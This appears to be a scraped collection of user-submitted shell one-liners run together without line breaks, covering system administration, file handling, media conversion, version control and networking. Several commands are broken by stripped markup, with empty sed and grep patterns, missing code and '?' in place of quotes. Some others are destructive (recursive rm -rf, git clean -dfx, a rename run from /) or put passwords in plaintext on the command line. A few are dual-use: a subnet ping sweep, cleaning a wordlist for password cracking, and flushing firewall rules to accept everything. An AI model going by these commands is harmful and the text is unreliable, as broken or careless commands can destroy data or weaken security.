md5sum | sed -r 's/(..)/\1:/g' | cut -d: -f 1-6) # Copy a file over the network with 3 bounces cat file.orig | ssh user1@host1 "ssh user2@host2 \"ssh user3@server3 'cat >file.dest'\"" # Bashbuiltin printf cat file.txt | while read line; do printf "%7.2f -> %7.2f\n" $line; done # Return IP Address ifconfig -a| awk 'BEGIN{FS="[ :]+"} /Bcast/{print $4}' # Get the state (HTTP code) of a resource from its URL curl -s -L --head -w "%{http_code}\n" URL | tail -n1 # Converts all jpg files to 75 quality. find . -type f -name '*.jpg' -exec convert -quality 75 {} {} \; # git merge --dry-run git merge --no-commit --no-ff # Extract the daily average number of iops for x in `seq -w 1 30`; do sar -b -f /var/log/sa/sa$x | gawk '/Average/ {print $2}'; done # Display a block of text with vim with offset, like with AWK vim -e -s -c 'g/start_pattern/+1,/stop_pattern/-1 p' -cq file.txt # list all instances of a file in your PATH directories (without duplicates) in PATH orderfunction wherepath () { for DIR in `echo $PATH | tr ":" "\n" | awk '!x[$0]++ {print $0}'`; do ls ${DIR}/$1 2>/dev/null; done } # show top 10 most memory hungry process with a simple format of (%mem, pid, sh ort command)ps -eo pmem,pid,comm --no-headers | sort -k1 -rn | head -10 # How many lines does the passwd file have? cat /etc/passwd | wc -l # copy root to new device rsync -aHux --exclude=/proc/* --exclude=/sys/* /* /mnt/target/ # git branch point git merge-base branch1 branch2 # Show hidden files in OS X defaults write com.apple.Finder AppleShowAllFiles TRUE # do a release upgrade in ubuntu do-release-upgrade # calculate in commandline with bc echo "1+1" | bc # Clear iptables rules safely function clearIptables(){iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; iptables -F; iptables -X; iptables -L} # Short URLs with ur1.ca ur1() { curl -s --url http://ur1.ca/ -d longurl="$1" | sed -n -e '/Your ur1/!d;s/.*.*$/\1/;p' ; } # One liner to parse all epubs in a directory and use the calibre ebook-convert utility to convert them to mobi formatfor filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --extra-css="/yourdir/calibre.css" --asciiize --enable-heuristics;done # Print repeating CSV values on new lines - normalize repeating fields echo "LINUX,DIR,FILE1,FILE2,FILE3" | perl -aF, -nle 'my ($fld1, $fld2, @fields) = @F; while(@fields) { print join ",", $fld1, $fld2, splice(@fields, 0, 1) }' # For files owned by root only, change ownership to a non-privileged user. find /path/to/dir -user root -exec chown [nonprivuser] {} \; # List only locally modified files with CVS cvs -n update 2>null | grep -i "M " | sed s/"M "// # Make sure a script is run in a terminal. tty > /dev/null 2>&1 || { aplay error.wav ; exit 1 ;} # calculate in commandline with dc dc -e "1 1 + p" # Deal with dot files safely rm -rf .??* # Recursive script to find all epubs in the current dir and subs, then convert t o mobi using calibre's ebook-convert utilityfind $PWD -type d | while read "D"; do cd "$D"; for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --asciiize;done ;done # Regex or egrep expr1\|expr2 file # Print a bar graph SCALE=3; WIDTHL=10; WIDTHR=60; BAR="12345678"; BAR="${BAR//?/==========}"; while read LEFT RIGHT rest ; do RIGHT=$((RIGHT/SCALE)); printf "%${WIDTHL}s: %-${WIDTHR}s\n" "${LEFT:0:$WIDTHL}" "|${BAR:0:$RIGHT}*"; done < dataset.dat # Turn /path/to/dir and subdirectories into a project tree chgrp -R [projgroup] ; find /path/to/dir -type d -exec chmod g+s {} \; # alias to show my own configured ip alias showip="ifconfig eth0 | grep 'inet addr:' | sed 's/.*addr\:\(.*\) Bcast\:.*/\1/'" # Send Reminders from your Linux Server to Growl on a Mac remind -z1 -k'echo %s |ssh @ "growlnotify"' ~/.reminders & # Change your swappiness Ratio under linux echo 50 > /proc/sys/vm/swappiness # Deal with dot files safely rm -rf .[!.]* # Delete all ".svn" directories from current path (recursive) find . -name ".svn" -exec rm -rf {} \; # opening your helper script without knowing the path (zsh) less =rcsyslog # Copy the directory you want to specify a comma separated list of directories t o copy.cp -arv ~/Documents/{foo,bar} --target-directory=~/buzz/ # Create & transfer tarball over ssh ssh -c 'tar cvzf - -C /path/to/src/*' | tar xzf - # Copy file content to X clipboard !xclip -i % # Stop Grooveshark destroying your CPU sudo cpulimit -e Grooveshark -l 20 # type fortune in real time fortune | pv -qL 10 # Get disk quota usage openvz using vzlist vzlist -a -H -o hostname,diskspace,diskspace.s,veid | awk '{ printf( "%2.f%\t%s\t%s\n"), $2*100/$3, $4, $1}' | sort -r # sort a csv file according to a particular n th field numerically (quicker tha n excel)sort -t"," -n -k5 file.csv # according to the 5th field NUMERICALLY!! # monitor the last command run $ history # add border to image convert input.png -mattecolor gold -frame 10x10+5+5 output.png # How to Find the Block Size /sbin/dumpe2fs /dev/hda2 | grep 'Block size' # scp a good script from host A which has no public access to host C, but with a hop by host Bssh middlehost "ssh -a root@securehost '> nicescript'" < nicescript # Router discovery awk 'NR==2 {print $1}' /proc/net/arp # showing opened ports on machine netstat -tulpnc # SVN Status log to CSV (Mac OSX friendly) svn log | tr -d '\n' | sed -E 's/-{2,}/\'$'\n/g' | sed -E 's/ \([^\)]+\)//g' | sed -E 's/^r//' | sed -E "s/[0-9]+ lines?//g" | sort -g # remove border of image convert input.png -shave 10x10 output.png # pacman install list of packages pacman -Q | grep -v pacman | cut -d' ' -f1 > packages.txt && pacman -Sy `cat packages.txt` --noconfirm # teatimer sleep 3m; play bigben.wav # Sum of the total resident memory Stainless.app is using. ps -ec -o command,rss | grep Stainless | awk -F ' ' '{ x = x + $2 } END { print x/(1024) " MB."}' # Get the title of a youtube video youtitle(){ GET $1 | grep document.title | sed "s;^.*document.title = '\(.*\)'.*$;\1;"; }; # Watch and keep history of a command CMD="who";SEC=1;N=0;OLD="";NEW=""; while `sleep $SEC`; do OLD="$NEW"; NEW="$(eval $CMD)"; DIFF=`diff <( echo "$OLD" ) <( echo "$NEW" )`; if [ -n "$DIFF" ]; then date; echo "Diff #$N (${SEC}s): $CMD"; echo "$DIFF"; fi; N=$[$N+1]; done | tee /tmp/keepr # create a image matrix montage *.png -mode concatenate -tile 10x all.png # anti-spam date -u +%W$(uname)|sha256sum|sed 's/\W//g' # Disable Mac OS X Dashboard defaults write com.apple.dashboard mcx-disabled -boolean YES; killall Dock # Run gunzipped sql file in PostGres, adding to the library since I couldnt find this command anywhere else on the web.gzip -dc /tmp/pavanlimo.gz | psql -U user db # Return IP Address perl -e '$_=`ifconfig eth0`;/\d+.\d+.\d+.\d+ /; print $&,"\n";' # print the first line of every file which is newer than a certain date and in t he current directoryfind . -type f -newer 201011151300.txt -exec head -1 {} \; # md5 checksum check digest -a -v md5 # Python virtual-env creation $sudo aptitude install python-virtualenv; virtualenv --no-site-packages jpaenv; source jpaenv/bin/activate # Edit any script executable by the user. nano `which script` # Determine what process is listening on a port on Solaris, without lsof for x in `ptree | awk '{print $1}'`; do pfiles $x | grep ${PORT} > /dev/null 2>&1; if [ x"$?" == "x0" ]; then ps -ef | grep $x | grep -v grep; fi; done 2> /dev/null # resolve hostname to IP our vice versa with less output hostresult=$(host -t A www.example.com); echo "${hostresult##* }" # Populate a folder with symbolic links to files listed in an m3u playlist. (IFS=$'\n'; ln -sf $(awk '((NR % 2) != 0 && NR > 1) {print "prefix" $0}' list.m3u) target_folder) # Set date and time sudo date -s "26 OCT 2008 19:30:00" # Get last changed revision to all eclipse projects in a SVN working copy find . -iname ".project"| xargs -I {} dirname {} | LC_ALL=C xargs -I {} svn info {} | grep "Last Changed Rev\|Path" | sed "s/Last Changed Rev: /;/" | sed "s/Path: //" | sed '$!N;s/\n//' # run complex remote shell cmds over ssh, without escaping quotes perl -e 'system @ARGV, ' ssh host -l user < cmd.txt # Rename files in a directory in an edited list fashion exec 3<&0; ls -1N | while read a; do echo "Rename file: $a"; read -e -i "$a" -p "To: " b <&3 ; [ "$a" == "$b" ] || mv -vi "$a" "$b"; done # Recursive script to find all epubs in the current dir and subs, then convert t o mobi using calibre's ebook-convert utilityfind . -name '*.epub' -exec sh -c 'a={}; ebook-convert $a ${a%.epub}.mobi --still --more --options' \; # Generate an XKCD #936 style 4 word password echo $(grep "^[^']\{3,5\}$" /usr/share/dict/words|shuf -n4) # (Inside of a shell script) Make executable a BeanShell script under Linux/Cygw in///bin/true; exec java bsh.Interpreter "$0" "$@" # catch all the txt files into a start_dir tree and copy them into a single end_ dirfind start_dir -name *.txt | xargs -J % cp % end_dir/ # Picture Renamer ls -1 *.jpg | while read fn; do export pa=`exiv2 "$fn" | grep timestamp | awk '{ print $4 " " $5 ".jpg"}' | tr ":" "-"`; mv "$fn" "$pa"; done # Disable bluetooth on your laptop to save battery rfkill block bluetooth # print line and execute it in BASH set -x # Reading my nic's mac address ifconfig eth3|sed 's/^eth3.*HWaddr //;q' # Quick and dirty version control for one file v () { ( IFS=$'\n'; suf="_versions"; mkdir -p "$1$suf"; nr=`ls "$1$suf" | wc -l`; nr=`printf "%02d" $(($nr + 1))`; cp "$1" "$1$suf/v${nr}_$1" ) } # grayscale image convert input.png -colorspace Gray output.png # Generate a specification file for file integrity scanning. mtree -c -K sha256digest -X mtree.exclude -p /path > host.mtree # covert m4a audio files to wav find . -name '*.m4a' | xargs -I audiofile mplayer -ao pcm "audiofile" -ao pcm:file="audiofile.wav" # Extract XML from an otherwise plain text log file sed -n '//,/<\/Tag>/p' logfile.log # turn lines in columns in csv format ls | sed -n '1h;2,$H;${g;s/\n/,/g;p}' # Remove all .svn folders find . -name .svn -print0 | xargs -0 rm -rf # flush (not delete) frozen emails from exim's mail queue exipick -zi | while read x ; do exim -dM "$x"; sleep 1;done # Show the 1000*1000 and 1024*1024 size of HDs on system for I in $(awk '/d[a-z]+$/{print $4}' /proc/partitions); do sudo hdparm -I '/dev/'$I; done | grep 'device size with M' # Get the total size (in human readable form) of all certain file types from the current directoryfind . -name 'pattern'| xargs du -hc # Find installed packages that are not in the portage tree anymore. for f in $(qlist -IC); do stat /usr/portage/"$f" > /dev/null; done # Autofocus window after executing some command function focus() { winID=`xprop -root |awk '/_NET_ACTIVE_WINDOW/ {print $5; exit;}'`; $@; wmctrl -i -a $winID; } # find an unused unprivileged TCP port netstat -atn | perl -ane 'if ( $F[3] =~ /(\d+)$/ ) { $x{$1}=1 } END{ print( (grep {!$x{$_}} 32768..61000)[0] . "\n" )}' # read squid logs with human-readable timestamp tail -f /var/log/squid/access.loc | ccze -CA # Generate an XKCD #936 style 4 word password shuf /usr/share/dict/words |grep "^[^']\{3,5\}$" |head -n4 # Lists open ports netstat -antuwp | egrep "(^[^t])|(^tcp.*LISTEN)" # Match non-empty lines grep -v "^\W$" # Change open file descriptors limit. ulimit -n # View firewall config including devices on linux w/netfilter iptables -L -n -v # Get the latest Geek and Poke comic wget -q $(lynx --dump 'http://geekandpoke.typepad.com/' | grep '\/.a\/' | grep '\-pi' | head -n 1 | awk '{print $2}') -O geekandpoke.jpg # Count words in a TeX/LaTeX document. detex document.tex|wc -w # Join all sequentially named files in the directory x=(*.001); cat "${x%.001}."* > "${x%.001}" #unsafe; does not check that all the parts are there, or that the file-sizes make sense! # View video cam from remote machine during ssh session xawtv -remote -bpp 16 -noxv-video -geometry 160x120 -device /dev/video0 # Get Interface's IP on Mac ipconfig getifaddr # Kill multiple Locked connection by a single user in MYSQL DB for i in `mysqladmin -h x.x.x.x --user=root -pXXXX processlist | grep <>| grep <>| awk {'print $2'}` do mysqladmin -h x.x.x.x --user=root -pXXX kill $i; done; # Print a row of 50 hyphens awk 'BEGIN{while (a++<50) s=s "-"; print s}' # How to use rysnc over ssh tunnel sshpass -p [password] rsync -av -e ssh [utente]@[indirizzoip]:/directorydacopiare/ /directorydidestinazione # Rescan partitions on a SCSI device echo "w" | fdisk /dev/sdb # Remove all .svn folders shopt -s globstar; rm -rfv **/.svn # Display CPU usage in percentage ps aux | awk {'sum+=$3;print sum'} | tail -n 1 # Change a text files contents without opening it, or intermediate files. print 'g/'delete this line'/delete\nwq' | ex file.txt # Print a row of 50 hyphens jot -s '' -b '-' 50 # List alive hosts in specific subnet for ip in `seq 1 255`; do ping -c 1 192.168.1.$ip ; done | grep ttl # bash alias for sdiff: differ alias differ='sdiff --suppress-common-lines $1 $2' # Ranking of the most frequently used commands history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr # Backup a file with a date-time stamp buf() { f=${1%%.*};e=${1/$f/};cp -v $1 $f-$(date +"%Y%m%d_%H%M%S")$e;} # List 50 largest source files in a project find . -type f -name '*.pm' -printf '%6s %p\n' | sort -nr | head -n 50 # most changed files in domains by rdiff-backup output cat /backup/hd7/rdiff-log.txt |grep Processing | awk '{ print $4 }' | sed -e 's/\// /g' | awk '{ print $1 }' |uniq -c |sort -n # Transfers clipboard content from one OS X machine to another pbpaste | ssh user@hostname pbcopy # securely overwrite a file with random junk, rename it to clear the directory e ntry and finally delete itshred -vzu /tmp/junk-file-to-be-shredded # List the CPU model name sed -n 's/^model name[ \t]*: *//p' /proc/cpuinfo # Finding all numbers that are bigger then 1 in vim /^\([2-9]\d*\|1\d+\) # Delete Mailer-Daemon messages mailq | grep MAILER-DAEMON | awk ?{print $1}? | tr -d ?*? | postsuper -d - # Ranking of the most frequently used commands history | awk '{print $2,$3}' | sed s/sudo// | awk '{print $1}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr # Converting your Xfig 'fig' files to 'eps' and others fig2dev -L eps file.fig file.eps # Pipe stdout to image and mail gotxt2imgmail() { if [ $# != 1 ]; then echo 'gotxt2imgmail < email >'; return; fi; e="$1"; f=$RANDOM.png; convert label:@- $f; echo "" | mailx -s $f -a $f $e } # Adding kernel boot parameters after loading kernel and initrd echo "root=/dev/sda7" > /proc/param.conf # transpose a file awk '{ for (f = 1; f <= NF; f++) a[NR, f] = $f } NF > nf { nf = NF } END { for (f = 1; f <= nf; f++) for (r = 1; r <= NR; r++) printf a[r, f] (r==NR ? RS : FS) }' # Determine configure options used for MySQL binary builds cat `whereis mysqlbug | awk '{print $2}'` | grep 'CONFIGURE_LINE=' # diff from last committed revision in Mercurial hg diff -r$((`hg -q par | cut -d":" -f1`-1)) # a simple bash one-liner to create php file and call php function echo '' | php # Show the most commonly used commands from .bash_history cut -f1 -d" " ~/.bash_history | sort | uniq -c | sort -nr | head -n 30 # Use socat to wrap around your pty to enter the password. (sleep 3; echo "MyAwesomePassword"; sleep 3) |socat - EXEC:'ssh username@server "hostname"',pty,setsid,ctty # Get ethX mac addresses ip link show eth0 | grep "link/ether" | awk '{print $2}' # Print a row of 50 hyphens echo - | sed -e :a -e 's/^.\{1,50\}$/&-/;ta' # prepare unicode text saved from Microsoft Excel 2003 for unix console iconv -f UTF16LE -t UTF-8 < SOURCE | awk 'BEGIN { RS="\r\n";} { gsub("\n", "\r"); print;}' > TARGET # Get readline support for the sqlplus command. socat READLINE EXEC:'sqlplus',pty,setsid,ctty # Download all files of a certain type with wget. wgetall () { wget -r -l2 -nd -Nc -A.$@ $@ } # Make bash look like DOS export PS1='C:${PWD//\//\\\}>' # Send an http HEAD request w/curl curl -i -X HEAD http://localhost/ # use sed to simulate rpad and lpad ls / | sed -e :a -e 's/^.\{1,15\}$/&_/;ta' # Get the headlines of an atom feed atomtitles () { curl --silent $1 | xmlstarlet sel -N atom="http://www.w3.org/2005/Atom" -t -m /atom:feed/atom:entry -v atom:title -n} # Get ethX mac addresses ifconfig | awk '/HW/ {print $5}' # Reload an open file in emacs C-x C-v, Enter # Geolocate a given IP address ip2loc() { wget -qO - www.ip2location.com/$1 | grep "" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s//>/g; s/&/\&/g'; } # Backup a file with a date-time stamp buf() { cp -v $1 ${1/${1%%.*}/$f-$(date +"%Y%m%d_%H%M%S")};} # Run previous same command in history && ! # find the delete file ,which is in use lsof -n |grep delete # Sort the current buffer in vi or vim. :1,$!sort # Unzip and untar a *.tar.gz file in one go tar -zxvf file.tar.gz # dd with progress bar and statistics dd if=FILE | pv -s $(stat FILE | egrep -o "Size: [[:digit:]]*" | egrep -o "[[:digit:]]*") | dd of=OUTPUT # convert uppercase filenames in current directory to lowercase for x in *;do mv "$x" "`echo $x|tr [A-Z] [a-z]`";done # List all background image URLs referenced in CSS files in directory and subdir ectoriesack -o -h --nogroup --css 'url\((.*)\)' --output "\$1" # Command to rename multiple file in one go find / -name "*.xls" -print0 | xargs -0 rename .xls .ods {} # my command for downloading delicious web links, wget -H -r -nv --level=1 -k -p -erobots=off -np -N --exclude-domains=del.icio.us,doubleclick.net --exclude-directories= # Print sorted count of lines alias sucs="sort | uniq -c | sort -n" # python one-liner to get the current week number python -c 'import datetime; print(datetime.date.today().isocalendar()[1])' # Check the package is installed or not. There will show the package name which is installed.apt-show-versions | grep '\bpython\b' # find the rpm package name that provides a specific file rpm -q --whatprovides $filename # A bash function to show the files most recently modified in the named (or curr ent) directoryfunction t { ls -ltch $* | head -20 ; } # Get ethernet card information. ethtool eth0 # Define words with google. (busybox version) wget -q -U busybox -O- "http://www.google.com/search?ie=UTF8&q=define%3A$1" | tr '<' '\n' | sed -n 's/^li>\(.*\)/\1\n/p' # Indent all the files in a project using emacs lst=`find . -iname \*.c -or -iname \*.h`; for i in $lst; do emacs -nw -q $i --eval "(mark-whole-buffer)" --eval "(indent-region (point-min) (point-max) nil)" --eval "(save-buffer)" --kill; done # multimedia ping continuar=true; while $continuar; do if ping -c 3 [target_IP_address] 2>&1> /dev/null ; then mplayer [sound_file]; continuar=false; break; fi; done # Show package dependencies with apt apt-cache depends # Monitoring a port connections watch -n1 'netstat -tn | grep -P :22' # Strip out Hungarian notation from a PHP file cat file.php | perl -p -e 's/(\$|->)(str|arr|obj|int|flt|boo|bool|mix|res)([A-Z])/$1\L$3/g' # Use the page up key to complete the command. echo "\"\e[5~\": history-search-backward" >> ~/.inputrc # Show the ordered header line (with field names) of a CSV file function headers { head -1 $* | tr ',' '\12' | pr -t -n ; } # Move all files untracked by git into a directory git clean -n | sed 's/Would remove //; /Would not remove/d;' | xargs mv -t stuff/ # Open the last modified file of a certain type open-command $(ls -rt *.type | tail -n 1) # Find, Replace, Write & Remove First 5 Lines variable="foo" && sed 's/bar/'$variable'/g' $variable.conf >> $variable.temp && sed '1,5d' $variable.temp && mv $variable.temp $variable.conf # Show package reverse dependencies with apt apt-cache rdepends # Generate an XKCD #936 style 4 word password perl -F'\s+' -anE 'push @w,$F[1];END{$r.=splice @w,rand @w,1 for(1..4);say $r}' diceware.wordlist.asc # Convert an ssh2 public key to openssh format ssh-keygen -i -f $sshkeysfile >> authorized_keys # Recursively replace a string in files with lines matching string for i in `find . -type f`; do sed -i '/group name/s/>/ deleteMissing="true">/' $i; done # backup home dir exclude dot files tar --exclude=".??*" -zcvf ./home_backup_2008.tar.gz my_home # lotto generator seq -w 50 | sort -R | head -6 |fmt|tr " " "-" # Get version values (ProductName, ProductVersion, BuildVersion) for Mac OS X sw_vers [-productName|-productVersion|-buildVersion] # un-escape URL/URIs with Ruby echo 'example.com%2Fsome%2Fpath' | ruby -r'cgi' -e 'puts CGI.unescape(STDIN.read)' # mkdir some file and mv some file for i in `seq 100`; do mkdir f${i}; touch ./f${i}/myfile$i ;done # Create files of arbitrary size in Windows fsutil file createnew FILENAME filesize(inbytes) # vim insert current filename :r! echo % # Convert a VMWare screencast into a flv file mencoder -of avi -ovc lavc movie.avi -o movie2.avi; ffmpeg -i movie2.avi -r 12 -b 100 movie.flv # Remove branches that no longer exist from being shown via 'git branch -a' git remote prune origin # List contents of jar LESSOPEN="| /usr/bin/lesspipe %s" less file.jar # Find Files over 20Meg find . -type f -size +20000k -print0 | xargs -0 du -h | awk -F"\t" '{printf "%s : %s\n", $2, $1}' # Find processes by current user on a Solaris box ps -u `/usr/xpg4/bin/id -u` # Remove CVS root files under current directory find . -name Root -print | xargs rm -f # Read just the IP address of a device /sbin/ifconfig | awk -F'[ :]+' '/inet addr/{print $4}' # Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM ) of the Unicode Standard.find -type f |while read a;do [ "`head -c3 -- "${a}"`" == $'\xef\xbb\xbf' ] && echo "Match: ${a}";done # convert chinese character into wubi86 input code echo Your_Chinese_Char | uniconv -encode Chinese-WB # Get movie length mplayer -vo null -ao null -frames 0 -identify movie.avi | awk '{FS="="}; /ID_LENGTH/{ H=int($2/3600); M=int(($2-H*3600)/60); S=int($2%60); printf "%d:%02d:%02d\n",H,M,S}' # get biggest directories du -kh --max-depth=1 | sort -n |head # Check variable has been set isdef() { eval test -n \"\${$1+1}\"; } # conver mp3 to m4b mpg123 -s input.mp3 | faac -P -X -w -o output.m4b - # get value after comma from an arithmetic operation echo "scale=6;2048 / 2.345" | bc # Indent all the files in a project using emacs find . -iname \*.c -or -iname \*.h -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer) (indent-region (point-min) (point-max) nil) (save-buffer))" --kill \; # Reading my nic's mac address ifconfig | grep HWaddr # Speed up builds and scripts, remove duplicate entries in $PATH. Users scripts are oftern bad: PATH=/apath:$PATH type of thing cause diplicate.glu() { (local IFS="$1"; shift && echo "$*") }; repath() { ( _E=`echo "${PATH//:/$'\n'}" | awk '!x[$0]++'`; glu ":" $_E ) ; } ; PATH=`repath` ; export PATH # Merge PDFs into single file pdftk input1.pdf input2.pdf cat output output.pdf # Remove all untracked files/directories from the working tree of a git reposito ry.git clean -dfx # Repeat a portrait eight times so it can be cut out from a 6 montage input.jpg -auto-orient -duplicate 7 -geometry 500 -frame 5 output.jpg # Go to man section of bash builtins man () { if [[ $(type ${1}) =~ "is a shell builtin" ]]; then; /usr/bin/man -P "/usr/bin/less -iRs --pattern=\"^ *${1}\"" bash; else; /usr/bin/man ${1}; return; fi; } # Tar a directory and its sub-directory tar cvfz dir_name.tgz dir/ # sort selected lines in a text file to the beginning or end of the file. 2end () ( export LC_ALL=C; nl -n rz $1 > $1.tmp; ${EDITOR:-vi} $1.tmp; sort $1.tmp | sed -r 's/^.*[0-9]+\t+//' > $1; rm $1.tmp; ) # Setting gdb in memory allocation debugging mode under MAC OS X set env DYLD_INSERT_LIBRARIES = /usr/lib/libgmalloc.dylib;b szone_error # Sum file sizes find . -type f -printf %s\\n | paste -sd+ | bc # Generate soothing noise /usr/bin/play -q -n synth brown band -n 1200 200 tremolo 0.05 80 # Get all files of particular type (say, PDF) listed on some wegpage (say, examp le.com)curl -s http://example.com | grep -o -P "" | grep -o "http.*.pdf" | xargs -d"\n" -n1 wget -c # svn diff ignore whitespace svn diff --diff-cmd diff -x -uw /path/to/file # Extract the contents of an RPM package to your current directory without insta lling them.rpm2cpio /path/to/file.rpm | cpio -i -d # Fix UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the Unicode Standard.perl -i -pe 's/\xef\xbb\xbf//g' # Print a row of 50 hyphens python -c 'print "-" * 50' # Python: Quickly locate site-packages python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()" # Scrape all RBLs off the anti-abuse.org site lynx -dump http://www.anti-abuse.org/multi-rbl-check/ | grep ']' | awk -F\] '{ print $2 }' | sed '/^\[/d' | egrep -v ^[A-Z] # Convert a videos audio track to ogg vorbis. INPUT= && ffmpeg -i "$INPUT" -vn -f wav - | oggenc -o ${INPUT%%.*}.ogg - # Check if variable is a number echo $X | egrep "^[0-9]+$" # Revert all modified files in an SVN repo svn st | grep -e '^M' | awk '{print $2}' | xargs svn revert # Notify on Battery power NotifyOnBATTERY () { while :; do on_ac_power||notify-send "Running on BATTERY"; sleep 1m; done } # Get current connected wireless network with nm-tools nm-tool 2>/dev/null|sed -n '/Type:[ ]*802.11 WiFi/,/IPv4 Settings/{ /State:[ ]*connected/,/IPv4 Settings/{ s/^[ ]*//;/^\*.*Infra/ { s/^*//;s/:.*//;p }}}' # Show the changed files in your GIT repo git status | perl -F'\s' -nale 'BEGIN { $a = 0 }; $a = 1 if $_ =~ /changed but not updated/i; print $F[-1] if ( $a && -f $F[-1] )' # Forensic tool to find hidden processes and ports unhide (proc|sys|brute) # List and count the number of open sessions per user users | xargs -n1 echo | sort | uniq -c # Put a console clock in top right corner while true; do tput sc; tput cup 0 $(($(tput cols)-74)); w | grep load; tput rc; sleep 10; done & # have tar decide compression based on filename tar -caf some_dir.tar.xz some_dir # Adding leading zeros to a filename (1.jpg -> 001.jpg) rename.ul "" 00 ?.jpg; rename "" 0 ??.jpg; # hours before the time()==1234567890 echo $(( (1234567890 - `date -u +\%s`) / 60 / 60 )) # Outputs a 10-digit random number head -c10 <(echo $RANDOM$RANDOM$RANDOM) # Get current Xorg resolution via xrandr xrandr -q | awk -F'current' -F',' 'NR==1 {gsub("( |current)","");print $2}' # Display environment vars only, using set alias sete='set|sed -n "/^`declare -F|sed -n "s/^declare -f \(.*\)/\1 ()/p;q"`/q;p"' # Print sorted list of all installed packages (Debian) aptitude search -F "%p" --disable-columns ~i # Search recursively to find a word or phrase in certain file types, such as C c odefind . -iname '*.php' | xargs grep "searh string" -sl # Add a newline to the end of a cpp file find . -iname "*.cpp" -exec perl -ni -e 'chomp; print "$_\n"' {} \; # Monitor a file's size while [ 1 ]; do du /var/log/messages;sleep 60; done # Fetch the Gateway Ip Address /sbin/route -n | grep "^0\.0\.0\.0" | awk '{ print $2 }' # Converts uppercase chars in a string to lowercase echo StrinG | tr 'A-Z' 'a-z' # Comment out all lines in a configuration file matching a regexp, creating a ba ckup.mv -i something.conf{,~} && sed "/regexp/s/^/#/" < something.conf~ > something.conf # replace one of the octates of an IP i=3; echo 10.0.0.1 | sed "s/\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\.\)\([0-9]\{1,3\}\)/\1\2\3$i/g" # Matched string reference in replacement text echo "abcde" | sed 's/./& /g' # which git tags include this commit? git tag -l --contains 18f6f2 live* # Find and delete thunderbird's msf files to make your profile work quickly agai n.find ~/.thunderbird/*.default/ -name *.msf -delete # Convert all Microsoft Word files in current directory to HTML. for f in *.doc ; do wvHtml $f ${f%.doc}.html ; done # Find out the starting directory of a script mydir=$(cd $(dirname ${BASH_SOURCE:-$0});pwd) # Backup entire system cd / ; tar -cvpzf backup.tar.gz --exclude=/backup.tar.gz --exclude=/proc --exclude=/lost+found --exclude=/sys --exclude=/mnt --exclude=/media --exclude=/dev / # shut of the screen ( Fool proof ) switchMonitor () { LF=/tmp/screen-lock; if [ -f $LF ]; then rm $LF; else touch $LF; sleep .5; while [ -f $LF ]; do xset dpms force off; sleep 2; done; fi }; # run zenity object on local machine for to insert video stream url to play on r emote machinelol=`zenity --entry` && DISPLAY=:0.1 cvlc -f -I ncurses --play-and-exit "$lol" # Test quick help alias alias testh='help test|sed -e :a -e "$!N;s/\(-n STRING\)\n/\1, /;s/\n\( \{23\}\| \{4\}\([a-z]\)\)/ \2/;ta;P;D"|sed "s/ \{1,\}/ /g;/^ $/d;/:$/s/^/\n/"|sed -n "/File operators:/,\$p"' # SSH connection with private key and port 222 ssh -i /root/.ssh/username\@hostname -p 222 username@hostname # ps with parent/child process tree ps auxf # Display the linux host infomation. hostinfo.sh # AIX: Determine what filesets are missing to reach a TL instfix -icq | grep 5300-07_AIX_ML | grep ":-:" # Easily create and share X screen shots (local webserver version) scrot -e 'mv $f \$HOME/public_html/shots/; echo "http://\$HOSTNAME/~\$USER/shots/$f" | xsel -i; feh `xsel -o`' # how to run firefox in safe mode from command line firefox --safe-mode # Execute all SQL files in a directory cat *.sql | mysql # run zenity object on local machine for select all directory file to play on re mote machinelol=`zenity --file-selection --directory` && DISPLAY=:0.1 cvlc -f -I ncurses --play-and-stop "$lol" # 附带节假日和阴历的ࡲ 9;令行程序gcal -i -s1 -qcn --chinese-months -cezk . # Display the packages that contain the specified file. dpkg -S file # pev - Extract PE(.exe) version information in bash pev winappfile.exe # How to expire the password to force her change [Linux] chage -d 0 -m 0 -M 60 [user] # Output sound when your computer is downloading something tcpdump | aplay -c 2 # Customizable Search Context echo -n search\>\ ; read SEARCH_STRING && sed -n "/$SEARCH_STRING/{n;p;n;p;n;p;q}" [file-to-search] # Activate the mandatory proxy under ubuntu gconftool-2 --set "/system/http_proxy/use_http_proxy" --type boolean true # How to check webserver by Nikto nikto.pl -h yourwebserver # Bash function to see what the day ends in date +%A | cut -c $(( $(date +%A | wc -c) - 1 )) # list all file extensions in a directory ls -Xp /path/to/dir | grep -Eo "\.[^/]+$" | uniq # find a particular string on an unmounted partition hexdump -e '8/1 "%02X ""\t"" "' -e '8/1 "%c""\n"' /dev/sda1 | less /mystring # Displays the packages which contain the specified file. dpkg -S locale.alias # Generate Pascal's Triangle for((r=1;r<10;r++));do v=1;echo -n "$v ";for((c=1;c<$r;c++));do v2=$(($(echo "$v*($r-$c)/$c")));echo -n "$v2 ";v=$v2;done;echo;done # How to expire the password to force her change [AIX] pwdadm -f ADMCHG [user] # unix2dos with awk awk 'sub("$", "\r")' unixfile.txt > winfile.txt # Clean a wordlist for use with password cracking tools and rules cat dirtyfile.txt | awk '{gsub(/[[:punct:]]/,"")}1' | tr A-Z a-z | sed 's/[0-9]*//g' | sed -e 's/ //g' | strings | tr -cs '[:alpha:]' '\ ' | sed -e 's/ /\n/g' | tr A-Z a-z | sort -u > cleanfile.txt # check open ports (both ipv4 and ipv6) netstat -plntu # search manpages on the internets manview() { lynx -dump -accept_all_cookies 'http://www.csuglab.cornell.edu/cgi-bin/adm/man.cgi?section=all&topic='"$1" | less; } # Schedule Nice Background Commands That Won't Die on Logout - Alternative to no hup and at( trap '' 1; ( nice -n 19 sleep 2h && command rm -v -rf /garbage/ &>/dev/null && trap 1 ) & ) # Prints line numbers 